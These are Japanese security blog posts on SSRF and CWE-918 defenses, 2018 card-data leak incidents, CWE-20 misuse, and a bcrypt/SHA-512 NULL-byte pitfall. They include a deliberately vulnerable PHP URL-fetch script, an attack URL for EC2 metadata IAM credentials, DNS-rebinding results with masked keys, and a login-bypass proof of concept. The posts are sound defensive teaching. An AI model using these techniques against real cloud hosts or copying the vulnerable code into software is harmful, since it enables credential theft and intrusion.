SSRF攻撃の例を2種類紹介しました。これらのうち、例2はXXE脆弱性を悪用したものでした。
それでは、例1の方で悪用されている脆弱性はなんでしょうか? 実は、例1は、SSRF脆弱性(CWE-918)と言われるものです。以下は、SSRF脆弱性の分類を定義しているCWE-918の冒頭の引用です。
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
参考訳
Webサーバーは、上流のコンポーネントからURLまたは類似のリクエストを受け取り、このURLの内容を取得しますが、リクエストが想定される送信先に送られることを十分確実にしていません。
要はURLのチェックが不十分なために読まれてはいけないコンテンツを読まれてしまった、ということで、例1はまさにそのような例になっています。
ということで、例1および例2の「脆弱性と攻撃」の関係は以下の通りです。ややこしいですね。

例1: SSRF脆弱性(CWE-918)を悪用してSSRF攻撃を行う
例2: XXE脆弱性(CWE-611)を悪用してSSRF攻撃を行う

細かいことを気にすると言われそうですね。しかし、CWE-918とCWE-611では、脆弱性の混入メカニズムがまったく違います。なので、攻撃の影響が一部重なっているからと言って、両者をごっちゃにしてはいけないと思います。

SSRF攻撃が可能な脆弱性

SSRF攻撃が可能となる脆弱性には、CWE-918CWE-611の他に以下があります。

・ディレクトリトラバーサル(CWE-22
ディレクトリトラバーサルとCWE-918は、脆弱性混入のメカニズムが非常に似ています。パラメータの中身がURLかパス名かという違いだけです。PHP等ではfopen等ファイル名を扱う機能でURLを指定できるため、ディレクトリトラバーサル脆弱性の悪用でSSRF攻撃が可能になります。

・OSコマンドインジェクション
OSコマンドインジェクション(CWE-78)や、ファイルインクルード(LFI/RFI)(CWE-98)、安全でないデシリアライゼーション(CWE-502)などリモートコード実行(RCE)可能な脆弱性があれば、wgetやcurl等を利用してSSRF攻撃ができます。

・SQLインジェクション
SQLインジェクション(CWE-89)でも任意コマンド実行が可能な場合がありますし、データベースから他のデータベースに接続する機能などがSSRF攻撃の踏み台として使える場合があります。以下の記事は、PostgreSQLを悪用したSSRF攻撃の例が紹介されています。

SIOS "OSSよろず"ブログ出張所: PostgreSQL と SSRF

SSRF脆弱性(CWE-918)の対策

SSRF攻撃を防ぐには、まず、SSRF攻撃の原因となる脆弱性の対策が必須です。RCE可能な脆弱性や、SQLインジェクション、ディレクトリトラバーサル等は単体で非常に危険な脆弱性なので、SSRF攻撃の可否に関わらず対策すべきですし、対策方法も確立しています。問題はSSRF脆弱性(CWE-918)です。これは、要件によってはなかなかに厄介です。
まずスキーム(プロトコル)のチェックは必須です。これがないと、file:///etc/passwdのようなファイルスキームを指定してディレクトリトラバーサル攻撃ができます(下図)。


次にURL中のホスト名に紐付くIPアドレスのチェックですが、これがなかなか厄介です。通常、以下の手順に従うと思いますが、
  • URLをパースしてホスト名を取り出す
  • ホスト名からIPアドレスを求める
いずれも問題が入りやすい処理です。

URLをパースする際の問題

以下のような紛らわしいURLを解析する際に、PHPのparse_url関数がホスト名を誤認するバグがmalaさんから指摘されています。

http://169.254.169.254#@example.jp/

上記URLの正しいホスト名は 169.254.169.254 ですが、古いPHPは example.jp をホスト名として認識します(169.254.169.254#はユーザ名と認識)。このようなバグは他の言語処理系にもあり、IPアドレスのチェックをすり抜ける攻撃に悪用可能です。
この種の問題に対する緩和策として、parse_strによって得られたホスト名やパス名からURLを組み立て直すという方法が考えられます。万一parse_strがホスト名を誤認しても、IPアドレスチェックとHTTPリクエストでホスト名が一貫していれば、問題は入りにくいと言えます。ただし、この際にホスト名をバリデーションすることと、ユーザ名とパスワードは捨てられることが条件です。ユーザ名等を含めてしまうと元の木阿弥です。

ホスト名からIPアドレスを求める際の問題

ホスト名からIPアドレスを求める際にも以下の問題が発生します。
  • DNSサーバーが複数のIPアドレスを返す場合の処理の漏れ
  • IPアドレスの表記の多様性(参考記事
  • IPアドレスチェックとHTTPリクエストのタイミングの差を悪用した攻撃(TOCTOU脆弱性)
  • リクエスト先のWebサーバーが、攻撃対象サーバーにリダイレクトする
上記のTOCTOU(Time of check to time of use)問題は、DNSの名前解決の文脈ではDNS Rebindingとも呼ばれます。
これらに注意しつつIPアドレスチェックを実装する必要があります。
PHPのcurl関数の場合は、「最終的にアクセスしたホストのIPアドレス」を受け取る機能があるので、保険的にこれを確認する方法もあります。ただし、「リクエストを送るだけで攻撃が成立する」場合には効果がありません。
$prime_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);  // 最終的にアクセスしたIPアドレスを求める
このように、「どこまでチェックで頑張れるか」は、利用するライブラリの機能にも依存します。
仕様的に可能であれば、外部からURLを受け取らないようにするか、許可されたURLの一覧表(ホワイトリスト)によるチェックが安全です。

ネットワーク的な保護

URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWSのドキュメントで推奨されている iptables の設定例です。これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指定されている権限にアクセスするのを防止できます」としています。iptablesによる設定は環境依存なのでご注意ください。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用

まとめ

SSRF攻撃とSSRF脆弱性について紹介しました。ここまで説明したように、任意のURLを対象とする処理はSSRF攻撃を受けやすく、また完全な対策は難しいのが現状です。
言い換えれば、「完全な対策が難しい」からこそ、今SSRFが注目されているとも言えます。
そもそも任意URLを受け取る処理が必要かどうかという仕様面の検討をした上で、実装の際にはできるだけ安全側に倒した処理と、アプリケーションとネットワークの両面からの対策を推奨します。

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件まとめ

$
0
0

エグゼクティブサマリ

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめた。同年6月1日に改正割賦販売法が施行後も継続してカード情報漏えい事件は発生しており、カード情報「非保持」に対応した攻撃が目立つ結果となった。

事件の一覧

下表に、本年(2018年)に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめました。サイト名、漏洩の期間、漏洩件数(最大)、セキュリティコード漏洩の有無、偽決済画面への誘導があったかを記載しています。


サイト名漏洩期間漏洩件数セキュリティコード偽決済画面誘導
C.O.U.オンラインショップ2017/8/5~2017/9/15335漏洩
パレタス オンラインショップ2017/4/27~2017/7/18821漏洩
健康食品通販サイト
(森永乳業株式会社)
2015/1/7~2017/10/1629,773
A-Web 倶楽部「宅配サービス」2017/12/17~2018/3/273,412
プリンスホテル予約サイト~2017/866,960
こうのとり検査薬.NET2017/8/7~2018/1/1811,314漏洩
evameva Online Shop2018/3/7~2018/6/19358漏洩
アサヒ軽金属工業株式会社
「Webショッピングサイト」
2017/1/14~2018/5/2577,198
SOKAオンラインストア」2018/7/30~2018/8/242,481漏洩あり
伊織ネットショップ2018/5/8~2018/8/222,145漏洩あり
ZOWHOW2018/4/25~2018/7/18397漏洩
EDITMODE2018/3/7~2018/7/1114,679漏洩
銀座ウエストオンライン通販サイト2018/9/12~2018/11/2668漏洩あり
DLmarket2018/10/17~2018/11/127,741漏洩あり

セキュリティコードが漏洩する事例が多い

上表からわかるように、セキュリティコードまで漏洩する例が14件中10件と多くなっています。昨年以前でもセキュリティコードが漏洩する事件は継続的に発生しており、以下の記事にまとめたことがあります。

決済代行を使っていてもクレジットカード情報が漏洩するフォーム改ざんに注意

ここでいう「フォーム改ざん」の手口は、以下の記事の「タイプ4」に相当するものです。

クレジットカード情報盗み出しの手口をまとめた

この「タイプ4」が日本で初めて使われたのは、上記記事からもわかるように、2013年3月のJINSオンラインショップ事件です。上表の事件にもタイプ4のものが多いのではないかと予想しますが、はっきりタイプ4と思われるのは、パレタスオンラインショップの事件です。同社のリリースには以下のように記されています。
弊社公式通販サイトのウェブサーバーに外部からの不正アクセスがあり、不正プログラムが仕組まれたためカード会員データが流出したことが判明しております。
不正プログラムがどのようなものか不詳ですが、有力な仮説としては、下図のように入力フォームにJavaScriptが組み込まれ、フォームに入力したカード情報が攻撃者のサイトに転送されていたのではないでしょうか。
また、同社は対策として下記のように書いています。
弊社では、通販サイトにおいて、より信頼性の高い、カード決済代行会社の提供するリンク型システムへの移行を決定しております。また、WEB改ざん検知サービスを導入いたしました。
これら対策は、Type4のカード情報窃取に対して有力な防御策になるものです。

偽決済画面への誘導手口の増加

SOKAオンラインストアの手口は「偽決済画面」に誘導するというものであり、新しい手口だったので以下の記事で詳しく報告しました。

ECサイトからクレジットカード情報を盗み出す新たな手口

さらに、この事件以降、偽決済画面への誘導手口が使用された事件が合計4件発生しています(SOKAオンラインストア事件を含む)。それらのうち2件について以下に説明します。

伊織ネットショップの事例

今治タオルの販売サイト伊織ネットショップの事例は、公式リリースで手口の詳細が公開されていてとても興味深いものです。以下は、正常系の画面遷移です。


【重要】カード情報流出についての、ご質問とご回答 - タオル専門店「伊織」より引用

そして、以下が攻撃後の画面遷移で、「偽のカード入力画面」が画面遷移に挿入されています。

【重要】カード情報流出についての、ご質問とご回答 - タオル専門店「伊織」より引用

この画面遷移は、私の目にはいささか「雑」に見えます。カード情報の入力画面は本来「ご注文内容確認」の後に出てくるものですし、オリジナルの画面遷移もそうなっていますが、改ざん後の遷移では、カード入力(偽)→注文内容確認→カード入力(正)と不自然な遷移になっています。ITに詳しい人が使えば不自然さに気づきそうなものですが、しばらくは不自然さに気づかれなかった模様です。
伊織ネットショップの事件では、事件発覚のきっかけは、「2018年8月22日夕方、弊社サイトにおいてフィッシングサイト(偽のクレジットカード番号の入力画面)へジャンプする事象が確認され」(同社リリースより引用)とあるので、前記不自然さにより異常が発覚した可能性はあります。

銀座ウエストの事例

一方、銀座ウエストの事例はさらに巧妙になっています。偽の決済サイトに進むことは同じですが、偽の決済サイトは、「決済代行会社の類似したドメインURL」であったと報告されています。下図は銀座ウェストのリリースからの引用です。


洋菓子舗ウエスト|よくあるご質問と回答より引用(*1)

通常、偽のサイトは本物そっくり(本物と同一)の画面デザインにしますが、この例ではドメイン名まで本物に似せていたことがわかります。伊織の事件よりも巧妙化しています。

*1 この図は、私のブログ記事の図を参考に、図を現実の事件に合わせて変更したものです。そのため元のブログ記事と図の意匠が類似していますが、私は図版利用の許可をしておりますので権利上の問題はありません。

まとめ・対策

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめました。本年後半には、「偽決済画面」への誘導手口が目立つ結果となり、以前SOKAオンラインショップの事件を紹介した際に『紹介した手口は、クレジットカード情報「非保持化」では対策できないものであり、今後のクレジットカード情報漏洩事件の主流となる可能性があります』と書いた通りになりつつあります。
対策としては、先に書いたように、まずは基本的な以下の施策が必須となります。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入


CWE-20入門

$
0
0

サマリ

この記事の想定読者は、企業等の脆弱性ハンドリング担当者です。脆弱性情報にしばしば出てくるCWE-20の読み解き方を説明します。

CWEとは

CWEはCommon Weakness Enumerationの略で、日本語では「共通脆弱性タイプ一覧」と訳されています。この訳からも分かるように、脆弱性をタイプ毎に分類しているものです。つまり、SQLインジェクション、XSS、バッファオーバーフロー等に、CWE-XXXという「分類番号」をふったものと考えるとわかりやすいでしょう。以下は、IPAが公表しているCWEの解説記事からの引用です。
1999年頃から米国政府の支援を受けた非営利団体のMITRE(*2)が中心となり仕様策定が行われ、2006年3月に最初の原案が公開されました。その後、40を超えるベンダーや研究機関が協力して仕様改善や内容拡充が行われ、2008年9月9日にCWEバージョン1.0が公開されました。
共通脆弱性タイプ一覧CWE概説:IPA 独立行政法人 情報処理推進機構から引用
代表的なCWEは、この記事中の以下の図を見るとわかりやすいと思います。


CWEの特徴の一つは、上図から明らかなように、階層的な分類になっていることです。たとえば、インジェクションCWE-74の下の階層には、XSS、SQLインジェクション、OSコマンドインジェクションなどの著名な脆弱性がぶら下がっていて、これらがインジェクションという共通の脆弱性のタイプに属していることがわかります。

CWE-20とは

本稿のテーマCWE-20は、インジェクションも包含する大分類になっています。先程引用した図からCWE-20関連のみを抽出したものを以下に示します


前述のインジェクションに加えてパストラバーサルなども含まれていますね。すなわち、外部からの入力値に起因する脆弱性がCWE-20としてまとめられています。
それにしても、CWE-20は「不適切な入力確認」(Improper Input Validation)と説明されていますが、これらはバリデーションの問題でしょうか。
そうではありません。パストラバーサルはバリデーションで対策可能ですが、インジェクション系のXSSやSQLインジェクションがバリデーションにより対策できない(完全な対策にならない)ことは明らかです。なのに、どうして、CWE-20は「不適切な入力確認」なのでしょうか。その答えは、本家のCWE-20の解説中にあります。
Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

CWE - CWE-20: Improper Input Validation (3.2)より引用
私訳を以下に示します。
フィルタリングや正規化、エスケープなど、入力が適切であることを確実にするためのさまざまな無効化手法をカバーする包括的な用語として「入力検証(Input Validation)」を使用する人もいます。他の人達は、より狭い文脈、すなわち、単に「入力を変更することなく、期待される値であることを確認する」という意味でこの用語を用います。
ということで、Input Validationはエスケープやフィルタリングを含む包括的な用語として使われる場合があることがわかります。CWE-20のInput Validationはこちらの意味でしょう。そうでないと、SQLインジェクションやXSS等をカバーする理由を説明できません。

CWE-20は大分類のはずなのに、個別脆弱性がしばしばCWE-20とされる

ここまで、CWE-20は脆弱性の大分類と説明しましたが、現実には個別の脆弱性がCWE-20と分類されるケースが多くあります。以下は、JVN iPediaで、CWE-20かつCVSSv2で7.0以上の脆弱性を検索した結果です。


CWE-20が大分類だとすると、個別脆弱性がCWE-20に分類されるのはおかしいですね。上記はどのようなものなのでしょうか。そこで、以下、この日記で過去に紹介した脆弱性の中からCWE-20とされているものを2件紹介して、CWE-20の実態に迫ります。

CWE-20の例(1)CGI版PHPのRCE脆弱性CVE-2012-1823

以下の記事で紹介した脆弱性です。

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)

PHPがCGIモードで動いている場合のみですが、外部から任意スクリプト実行可能な凶悪な脆弱性でした。この脆弱性はCWE-20に分類されています。
この脆弱性の原因は、CGIモードの場合クエリ文字列にスペース区切りで指定した文字列がCGIプログラムのコマンドライン引数として指定される仕様を悪用して、PHPに -s や -d 等のオプションを指定できてしまうところにありました。
この脆弱性のPHPソースコード上の問題は、以下の記事が詳しいです。

CVE-2012-1823 CVE-2012-2311 PHPのCGIモードにおける脆弱性について

この記事にもあるように、脆弱性の根本原因は、CGIモードの場合不要なオプションパラメータの処理が存在すること自体にあります。したがって、脆弱性の対策は、不要なオプションパラメータの処理を除去することであり、入力バリデーションを追加することではありません。

CWE-20の例(2)Joomla!のRCE脆弱性CVE-2015-8562

以下の記事やスライドで紹介した脆弱性です。やはり、CWE-20と分類されています。

Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに | slideshare

この脆弱性に対する攻撃は、もはや芸術的と表現しても良いくらいの高度なものです。以下の3つのソフトウェアの脆弱性および好ましくない仕様を組み合わせています。詳しくは上記の記事を参照ください。

Joomla! : CVE-2015-8562
PHP : CVE-2015-6835
MySQL : utf8_general_ci 指定した列にutf8の4バイト形式の文字を追加すると、その文字以降が切り詰められる仕様

そして、私自身は、この攻撃の根本原因はCVE-2015-6835(CWE-416: Use After Freeに分類)と考えています。攻撃全体としては、安全でないデシリアライゼーション(CWE-502)に該当します。
Joomla! のCVE-2015-8562は何がいけなかったかというと、Joomla!はセッションストレージとしてMySQLを利用していて、その結果、PHPのシリアライズ後のセッション情報をMySQLに格納しているのに、シリアライズ結果がバイナリとなる点を十分に考慮しておらず、utf8_general_ciという型を使用していたところにあります。
Joomla!側の対処としては、緊急対処として攻撃経路となるUser-Agentその他のHTTPヘッダをセッションに格納することをやめ、根本対策としてシリアライズ後のセッション情報をBase64エンコードしてから格納するようにしています。やはり、入力バリデーションを追加したわけではありません。

CWE-20の現実の使われ方

上記で紹介した2つの脆弱性は、いずれも狭義のバリデーションが主原因ではないのに、CWE-20が割り当てられていました。これらは、適当なCWEがないので、「とりあえず外部入力が経路なのでCWE-20にしておこう」という感じでCWE-20があてられているものと推測します。脆弱性情報を見ていると、そのようなケースは多く見受けられます。
また、商用製品の脆弱性情報に多い例として、脆弱性があることは公表するが、その詳細は公表したくないケースなどで、脆弱性分類としてCWE-20がわりあてられるケースがあります。先に、JVN iPediaの検索結果を示しましたが、高危険度のCWE-20脆弱性の例の大半が商用製品であることからも、これは伺えます。
現に、CWE-20の解説には以下のように記載されています。
The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.
CWE - CWE-20: Improper Input Validation (3.2)より引用
日本語訳としてJVNの訳を以下に引用します。
「入力の妥当性チェック」という用語は極めて一般的ですが、用語の使い方は様々です。いくつかのケースでは、根本的な脆弱性を曖昧にするためや、関連した複雑な事象を隠すことを目的として使われます。
CWE-20より引用
ということで、CWE-20が使われるケースの多くは、脆弱性公表側の怠慢や隠蔽意図によるケースが多く、悪意がないケースとしては「分類の難しいその他のケース」ということになるかと思います。

まとめ

CWE-20について解説しました。本来、CWE-20は脆弱性パターンの大分類として取り扱うべきと考えますが、現実にはCWE-20とすべきでない局面でもCWE-20が濫用される傾向があります。私は、CWE-20の濫用は正確な脆弱性情報流通の上では有害だと考えています。
もし読者が、脆弱性情報中にCWE-20と記載されているのを見かけたら、「CWE-20では何もわからないではないか」と舌打ちしつつも、そうせざるを得なかった背景についても想いを馳せると、その脆弱性に対する関心が一層高まるのではないでしょうか。

bcryptの72文字制限をSHA-512ハッシュで回避する方式の注意点

$
0
0
宅ふぁいる便から平文パスワードが漏洩した件を受けて、あらためてパスワードの安全な保存方法が関心を集めています。現在のパスワード保存のベストプラクティスは、パスワード保存に特化したハッシュ関数(ソルトやストレッチングも用いる)であるbcryptやArgon2などを用いることです。PHPの場合は、PHP5.5以降で使用できるpassword_hash関数が非常に便利ですし、他の言語やアプリケーションフレームワークでも、それぞれ用意されているパスワード保護の機能を使うことはパスワード保護の第一選択肢となります。

なかでもbcryptは、PHPのpassword_hash関数のデフォルトアルゴリズムである他、他の言語でも安全なハッシュ保存機能として広く利用されていますが、パスワードが最大72文字で切り詰められるという実装上の特性があり、その点が気になる人もいるようです(この制限はDoS脆弱性回避が目的です)。
72文字による切り詰めを回避するためのアイデアとして、bcryptに与えるパスワードを前処理としてSHA-512ハッシュを求めてbcryptの入力とする方法を見かける場合があります。疑似コードで書くと以下となります。

$hash = bcrypt(sha512($password));  // パスワードをSHA-512ハッシュを求めた後bcryptで処理する
今までは個人ブログ(これなど)で見かける程度でしたが、弊社のお客様から、Dropboxのパスワード保存方式がこれだと教えていただきました。
以下はDropboxで採用している方式の模式図です(上記ブログ記事より引用)。


この図から分かるように、SHA-512→bcrypt→AES256(暗号化)と3段界の処理が入っていることになります。過剰なまでにパスワード保護が入っている背景には、Dropboxは以前パスワード情報を漏洩している「前科」があるからかもしれません。
Dropboxが採用している方式ということで、自分(自社)でもこの方式を採用しようと思う人がいるかもしれませんが、このSHA-512とbcryptを二重に適用するという方法は重大な落とし穴があるため、筆者としては、素直にbcryptのみを使うことを推奨します。以下、その落とし穴について説明します。

SHA-512→bcrypt方式の詳細検討

SHA-512ハッシュは、その名前の通り512ビットすなわち64バイトのハッシュ値が生成されますが、多くの場合16進数文字列の形で用いられます。その場合は128バイト長となり、bcryptにより72文字に切り詰めされます。これだとかなりの情報が失われますし、そもそも切り詰めが嫌で始めたことなのに、半分以上の情報が失われるのでは何をやっているのかという気分になるでしょう。同様に、base64エンコードしても88バイト長なので、切り詰めが発生することには変わりません。
このような事情から、先に紹介した個人ブログ記事では、SHA-512のバイナリ形式をbcryptにパスワードとして与える実装になっています。バイナリ形式だと64バイトですから、「切り詰め」の対象にはならないはずです。

すなわちPHPの場合、以下のような実装です。
// ハッシュ値の生成
$sha512 = hash('sha512', $password, true); // true はバイナリの指定
$hash = password_hash($sha512, PASSWORD_DEFAULT);
// パスワードの照合
$sha512 = hash('sha512', $password, true); // true はバイナリの指定
$result = password_verify($sha512, $hash);

PHPのbcrypt実装はバイナリセーフでない

ここで問題が生じます。PHPのbcrypt実装はオペレーティングシステムのcrypt(3)ライブラリに依存しており、NULLターミネート形式の文字列でパスワードを受け取ります。すなわち、bcryptは72文字の切り詰め問題に加えて、「バイナリセーフでない」という仕様上の制約があります。このため、SHA-512ハッシュ(バイナリ)中にNULLバイトがあると、そこから先を「切り詰め」してしまうという問題があります。最悪ケースとしては、SHA-512ハッシュの先頭がNULLバイトになる場合で、crypt関数にはゼロ文字のパスワードが指定されることになります。
この性質を持つパスワードの例として下記(8文字、99文字)があります。
Aaaaaa@8
A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password
以下のように、SHA-512ハッシュの先頭はNULLバイトになります。
$ echo -n Aaaaaa3@ | sha512sum
0011780c00726845802482273be4b2e9329a5d403276b5088fc3e49ca866262632108b32dd2950b680a32eb3808ec9e5710af59c6f6f60f6bbcc9e17098f8685  -

$ echo -n A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password | sha512sum
00895faa444575854626475e154dcb8407670af59d9be977a0aa855a49702e45b9c2aad59befe77241bf48f870b08c06bcf80726a6887f41689dc1f0ed977506  -
これらは、SHA-512ハッシュの先頭バイトが共にNULLになるので、これらのハッシュ値によるログインでは、相互にパスワードを入れ替えてもログインできるはずです。試してみましょう。
// 長いパスワードでハッシュ値を求める
$password = 'A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password';
$sha512 = hash('sha512', $password, true);
$hash = password_hash($sha512, PASSWORD_DEFAULT);

// 短いパスワード Aaaaaa3@ で照合する
$password = 'Aaaaaa3@';
$sha512 = hash('sha512', $password, true);
$result = password_verify($sha512, $hash);
var_dump($result);
このスクリプトは true を表示します。すなわち、ログイン成功となります。
ここでは2例のみ示しましたが、SHA-512ハッシュの先頭バイトがNULLとなる確率は1/256ですから、上記方式で実装したログインプログラムでは、任意ユーザーが1/256の確率でパスワード「Aaaaaa3@」で不正ログインできることになります。これはとんでもない大穴ですよね。

ではどうすればよいか

NULLバイトを防ぐ目的であれば、バイナリハッシュ値を255進数に変換し、1~255のバイト値にマップする(base255とでも言いますか)ことで防げます。しかし、そのような複雑な処理を追加することは、バグの原因になり、ひいては脆弱性の要因になります。
なので、bcryptを使う場合は、72文字制限やバイナリセーフでない問題は仕様として受け入れ、そのままで使うことをお勧めします。
先に紹介したDropboxのブログでは、「For ease of elucidation, in the figure and below we omit any mention of binary encoding (base64) (私訳: 説明を簡単にするために、下図および以下の説明では、バイナリエンコーディング(base64)については言及しません)」とあり、base64エンコーディングを採用しているようでもありますが、詳細は不明です。

どうしても、これら制限が受容できない場合は、Argon2などのアルゴリズムを使うことで回避できます。PHPの場合は、以下で実現可能です(PHP 7.2以降)。
$hash = password_hash($sha512, PASSWORD_ARGON2I);
PHPのArgon2実装はcrypt(3)に依存しておらず、72文字制限はなくバイナリセーフであるようです。

まとめ

bcryptとSHA-512ハッシュを組み合わせて使う方式の注意点を説明しました。
私は、拙著「安全なWebアプリケーションの作り方 第2版」で以下のように説明しました。
PHPには、これらの施策をまとめて使いやすくしたpassword_hashという安全で便利な関数があります(PHP5.5.0以降)。極力password_hashを使うことを推奨します。
また、PHPに限らず、パスワード保存機能は独自実装せずに、安全なライブラリやフレームワークの機能を用いることを推奨します。
「独自実装せずに、安全なライブラリやフレームワークの機能を用いる」とは、ライブラリ等を使う際に余計なことをしないということでもあり、本稿で紹介した例は「余計なこと」をやってしまった副作用の例であると考えます。

一般論としても、プログラムは複雑になればなるほどバグが混入しやすくなり、ひいては脆弱性の原因にもなります。プログラムを簡明に保つことは、安全なプログラムを開発する上でも重要だと考えます。

EC2上でDNS RebindingによるSSRF攻撃可能性を検証した

$
0
0
AWS EC2環境でのDNS Rebindingについて検証したので紹介します。
まずは、「前回までのおさらい」です。先日以下の記事でSSRF攻撃およびSSRF脆弱性について紹介しました。
この記事の中で、以下のように紹介しました。
ホスト名からIPアドレスを求める際にも以下の問題が発生します。
  • DNSサーバーが複数のIPアドレスを返す場合の処理の漏れ
  • IPアドレスの表記の多様性(参考記事)
  • IPアドレスチェックとHTTPリクエストのタイミングの差を悪用した攻撃(TOCTOU脆弱性)
  • リクエスト先のWebサーバーが、攻撃対象サーバーにリダイレクトする
上記のTOCTOU(Time of check to time of use)問題は、DNSの名前解決の文脈ではDNS Rebindingとも呼ばれます。
DNS Rebinding攻撃についてはインフラ側で対策が取られている場合もあります。そこで、EC2上のウェブサイトにて、DNS RebindingによるSSRF攻撃が可能か検証してみました。
攻撃対象のスクリプトを以下に示します。これは先日の記事のスクリプトを改修したもので、クエリ文字列urlで指定したURLのコンテンツを読み出し、表示するものです。IPアドレスのチェックを追加し、表示系を簡略化しています。
<?php
header('Content-Type: text/plain');
$url = $_GET['url'];
$urlinfo = parse_url($url);
$host = $urlinfo['host']; // URLからホスト名を取り出し
$ip = gethostbyname($host); // 接続先IPアドレスを取得
echo "Target IP : $ip\n"; // 接続先のIPアドレスを表示
if ($ip == "169.254.169.254") {
die("Invalid host $host"); // IPアドレスが169.254.169.254ならエラー
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$body = curl_exec($ch);
echo $body;
$prime_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);
echo "\nActual IP : $prime_ip\n"; // 実際のIPアドレスを表示 
このスクリプトは、DNS Rebinding以外にもいろいろ駄目ですが、とりあえず接続先のIPアドレスが169.254.169.254でないことは確認しています。これを以下のIPアドレスで実行すると

http://ホスト名/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role

以下のようにエラーになります。
Target IP : 169.254.169.254
Invalid host 169.254.169.254

DNS Rebinding

ようやくDNS Rebindingの説明です。攻撃対象が下図のWeb Applicationだとします。図の右側のDNS Contents Server(DNS権威サーバー)は、接続先のドメイン名を管理しているDNSサーバーで、実は攻撃者が管理している想定です(example.jpは例示用のドメイン名です)。


この状態で、先のサンプルスクリプトでurl=http://evil.example.jp/... を指定した場合、通常ケースでは以下のように名前解決されます。

上図のように、gethostbynameとcurl_execの双方で名前解決が発生しますが、DNSキャッシュサーバーのキャッシュが残存していれば、2回目の名前解決の際には、DNSコンテンツサーバーには問い合わせずにDNSキャッシュサーバーがキャッシュの値を返します。
そこで、DNSコンテンツサーバー(権威サーバー)側がTTL=0としてAレコードを返し、Aレコードの要求毎に異なるIPアドレスを返す攻撃がDNS Rebinding攻撃です。その様子を下図に示します。

DNSコンテンツサーバーがTTL=0でAレコードを返すので、DNSキャッシュサーバーは問い合わせがある度にDNSコンテンツサーバーにAレコードを問い合わせます。そして、最初の問い合わせでは無害なIPアドレス(203.0.113.5)を返し、二度目の問い合わせでは169.254.169.254(EC2インスタンスの設定を返すIPアドレス)を返しています。このようにして、IPアドレスのチェックをすり抜ける攻撃手法がDNS Rebinding攻撃です。
上図を見る限りいかにも成功しそうですが、実際にはキャッシュサーバーの仕様などに依存します。DNS Rebinding対策その他を目的として、キャッシュサーバー側でTTLを超えてキャッシュを保持するDNS Pinningを実施している可能性があるからです。

試してみる

簡易的なDNSコンテンツサーバーを書いて、上記攻撃を試してみました。このDNSサーバーは、上図の通り、1回目の応答ではAレコードとして 203.0.113.5 を返し、2回目以降は 169.254.169.254 を返します。その結果、以下のようにSSRF攻撃に成功しました。
Target IP : 203.0.113.5
{
"Code" : "Success",
"LastUpdated" : "2019-03-03T08:00:51Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",
"SecretAccessKey" : "zCc1sxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token" : "FQoGZXIvYXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
"Expiration" : "2019-03-03T14:30:31Z"
}
Actual IP : 169.254.169.254 
gethostbynameの時点では、アクセス対象のIPアドレスは 203.0.113.5 (Taget IPとして表示)でしたので、事前のIPアドレスチェックはかいくぐっていることがわかります。
Actual IPは、curlが実際にアクセスしたIPアドレスであり、169.254.169.254となっています。

対策

DNS Rebinding攻撃を前提としない条件でも、接続先のURLについて以下のチェックが必要です。
  • プロトコル(スキーム)が http か https のいずれかである
  • 接続先ホストに紐づくIPアドレスが禁止されたものでない
そして、IPアドレスのチェックがそもそも容易でないことはSSRF徹底入門にも書きました。加えて、DNS Rebinding攻撃の対策もやっかいです。gethostbyname関数の呼び出しに代えてdns_get_record関数等によりDNSクエリを実行して、TTLを確認することは可能ですが、正常系でもTTLが 0 になることはあり得るので、リトライなどの複雑な処理が必要になります。処理が複雑になると、それ自体が脆弱性の原因になるので、ちょっとやりたくない実装です。

先のスクリプトでは、PHPのcurl実装で使用できるCURLINFO_PRIMARY_IPを利用して、「実際に接続したホストのIPアドレス」を表示しています。攻撃によるリスクが情報漏えいのみである場合は、このIPアドレスを検証して、許可されていない場合はエラーにすることで漏洩を回避できます。ただし、これで完全な対策になるかは、徳丸自身は検証していません。

いっそのこと…ということで、外部コンテンツの取得をPROXY経由にするという対策があります。PROXYなら、接続先のホワイトリストやブラックリストによる制限は容易だからです。これだと、DNS Rebinding以外の対策も同時に行えます。

PROXYサーバーを用意するほどでもない…というケースでは、Amazonが推奨しているiptablesによる対策が考えられます。先の記事でも引用しましたが、再掲します。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用
